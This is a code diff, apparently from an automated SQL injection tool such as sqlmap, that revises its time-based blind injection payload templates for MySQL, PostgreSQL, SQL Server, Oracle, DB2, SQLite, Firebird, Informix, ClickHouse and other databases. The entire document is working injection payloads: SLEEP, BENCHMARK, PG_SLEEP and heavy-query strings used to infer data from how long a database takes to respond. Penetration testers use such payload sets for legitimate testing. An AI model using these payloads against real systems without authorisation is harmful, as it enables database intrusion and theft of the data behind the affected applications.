OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -43,16 +45,15 @@ - MySQL >= 5.0.12 AND time-based blind (SELECT - comment) + MySQL >= 5.0.12 AND time-based blind (SLEEP) 5 - 3 + 2 1 - 1,2,3 + 1,2,3,8,9 1 - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) - # + AND SLEEP([SLEEPTIME]) @@ -64,16 +65,15 @@ - MySQL >= 5.0.12 OR time-based blind (SELECT - comment) + MySQL >= 5.0.12 OR time-based blind (SLEEP) 5 - 3 + 2 3 - 1,2,3 + 1,2,3,9 1 - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) - # + OR SLEEP([SLEEPTIME]) @@ -85,15 +85,16 @@ - MySQL >= 5.0.12 AND time-based blind + MySQL >= 5.0.12 AND time-based blind (SLEEP - comment) 5 - 2 + 3 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME]) + # @@ -105,15 +106,16 @@ - MySQL >= 5.0.12 OR time-based blind + MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) 5 - 2 + 3 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME]) + # @@ -125,15 +127,15 @@ - MySQL >= 5.0.12 AND time-based blind (comment) + MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment) 5 - 4 + 3 1 - 1,2,3 + 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND SLEEP([SLEEPTIME]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -146,15 +148,15 @@ - MySQL >= 5.0.12 OR time-based blind (comment) + MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment) 5 - 4 + 3 3 - 1,2,3 + 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR SLEEP([SLEEPTIME]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -167,11 +169,11 @@ - MySQL <= 5.0.11 AND time-based blind (heavy query) + MySQL < 5.0.12 AND time-based blind (BENCHMARK) 5 2 2 - 1,2,3 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -182,16 +184,36 @@
MySQL - <= 5.0.11 + < 5.0.12
- MySQL <= 5.0.11 OR time-based blind (heavy query) + MySQL > 5.0.12 AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,8,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12 +
+ + + + MySQL < 5.0.12 OR time-based blind (BENCHMARK) 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -202,16 +224,36 @@
MySQL - <= 5.0.11 + < 5.0.12 +
+ + + + MySQL > 5.0.12 OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12
- MySQL <= 5.0.11 AND time-based blind (heavy query - comment) + MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment) 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -223,16 +265,37 @@
MySQL - <= 5.0.11 + < 5.0.12 +
+ + + + MySQL > 5.0.12 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + # + + + + +
+ MySQL + > 5.0.12
- MySQL <= 5.0.11 OR time-based blind (heavy query - comment) + MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment) 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -244,41 +307,41 @@
MySQL - <= 5.0.11 + < 5.0.12
- MySQL >= 5.0.12 RLIKE time-based blind (SELECT) + MySQL > 5.0.12 OR time-based blind (heavy query - comment) 5 - 2 - 1 - 1,2,3 + 5 + 3 + 1,2,3,9 1 - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + # - +
MySQL - >= 5.0.12 -
+ > 5.0.12 + - MySQL >= 5.0.12 RLIKE time-based blind (SELECT - comment) + MySQL >= 5.0.12 RLIKE time-based blind 5 - 4 + 2 1 - 1,2,3 + 1,2,3,9 1 - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) - # + RLIKE SLEEP([SLEEPTIME]) @@ -290,15 +353,16 @@ - MySQL >= 5.0.12 RLIKE time-based blind + MySQL >= 5.0.12 RLIKE time-based blind (comment) 5 - 5 + 4 1 - 1,2,3 + 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) RLIKE SLEEP([SLEEPTIME]) + # @@ -309,16 +373,36 @@ + + MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP) + 5 + 3 + 1 + 1,2,3,9 + 1 + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+ + - MySQL >= 5.0.12 RLIKE time-based blind (comment) + MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment) 5 - 5 + 4 1 - 1,2,3 + 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE SLEEP([SLEEPTIME]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -335,7 +419,7 @@ 5 3 1 - 1,2,3 + 1,2,3,8,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -355,7 +439,7 @@ 5 3 3 - 1,2,3 + 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -374,7 +458,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -394,7 +478,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -414,7 +498,7 @@ 5 1 1 - 1,2,3 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -434,7 +518,7 @@ 5 1 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -454,7 +538,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -475,7 +559,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -496,7 +580,7 @@ 5 2 2 - 1,2,3 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -515,7 +599,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -534,7 +618,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -554,7 +638,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -570,7 +654,7 @@ - Microsoft SQL Server/Sybase time-based blind + Microsoft SQL Server/Sybase time-based blind (IF) 5 1 1 @@ -586,12 +670,11 @@
Microsoft SQL Server Sybase - Windows
- Microsoft SQL Server/Sybase time-based blind (comment) + Microsoft SQL Server/Sybase time-based blind (IF - comment) 5 4 1 @@ -608,7 +691,6 @@
Microsoft SQL Server Sybase - Windows
@@ -617,7 +699,7 @@ 5 2 2 - 1,2,3 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -629,7 +711,6 @@
Microsoft SQL Server Sybase - Windows
@@ -638,7 +719,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -650,7 +731,6 @@
Microsoft SQL Server Sybase - Windows
@@ -659,7 +739,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -672,7 +752,6 @@
Microsoft SQL Server Sybase - Windows
@@ -681,7 +760,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -694,7 +773,6 @@
Microsoft SQL Server Sybase - Windows
@@ -703,7 +781,7 @@ 5 1 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -722,7 +800,7 @@ 5 1 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -741,7 +819,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -761,7 +839,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -781,7 +859,7 @@ 5 2 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -800,7 +878,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -819,7 +897,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -839,7 +917,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -859,7 +937,7 @@ 5 3 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -878,7 +956,7 @@ 5 3 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -897,7 +975,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -917,7 +995,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -937,7 +1015,7 @@ 5 3 2 - 1 + 1,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -957,7 +1035,7 @@ 5 3 3 - 1 + 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -977,7 +1055,7 @@ 5 5 2 - 1 + 1,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -998,7 +1076,7 @@ 5 5 3 - 1 + 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -1019,7 +1097,7 @@ 5 4 2 - 1 + 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1039,7 +1117,7 @@ 5 4 3 - 1 + 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1059,7 +1137,7 @@ 5 5 2 - 1 + 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1080,7 +1158,7 @@ 5 5 3 - 1 + 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1101,7 +1179,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1120,7 +1198,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1139,7 +1217,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1159,7 +1237,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1179,7 +1257,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1199,7 +1277,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1219,7 +1297,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1240,7 +1318,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1261,7 +1339,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1281,7 +1359,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1301,7 +1379,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1322,7 +1400,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1337,7 +1415,161 @@ > 2.0 - + + + Informix AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + + + + +
+ Informix +
+ + + + Informix OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + + + + +
+ Informix +
+ + + + Informix AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + -- + + + + +
+ Informix +
+ + + + Informix OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + -- + + + + +
+ Informix +
+ + + + ClickHouse AND time-based blind (sleepEachRow) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1) + + AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1) + + + + +
+ ClickHouse +
+ + + + ClickHouse OR time-based blind (sleepEachRow) + 5 + 5 + 3 + 1,2,3 + 2 + OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1) + + OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1) + + + + +
+ ClickHouse +
+ + + + ClickHouse AND time-based blind (heavy query) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+ + + + ClickHouse OR time-based blind (heavy query) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+ + @@ -1390,11 +1622,11 @@ 5 2 1 - 1,2,3 + 1,2,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) @@ -1406,15 +1638,15 @@ - MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT) + MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) 5 3 1 - 1,2,3 + 1,2,3,9 3 - (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -1426,22 +1658,42 @@ - MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries) + MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK) 5 4 2 - 1,2,3 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) + + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) + + + + +
+ MySQL + < 5.0.12 +
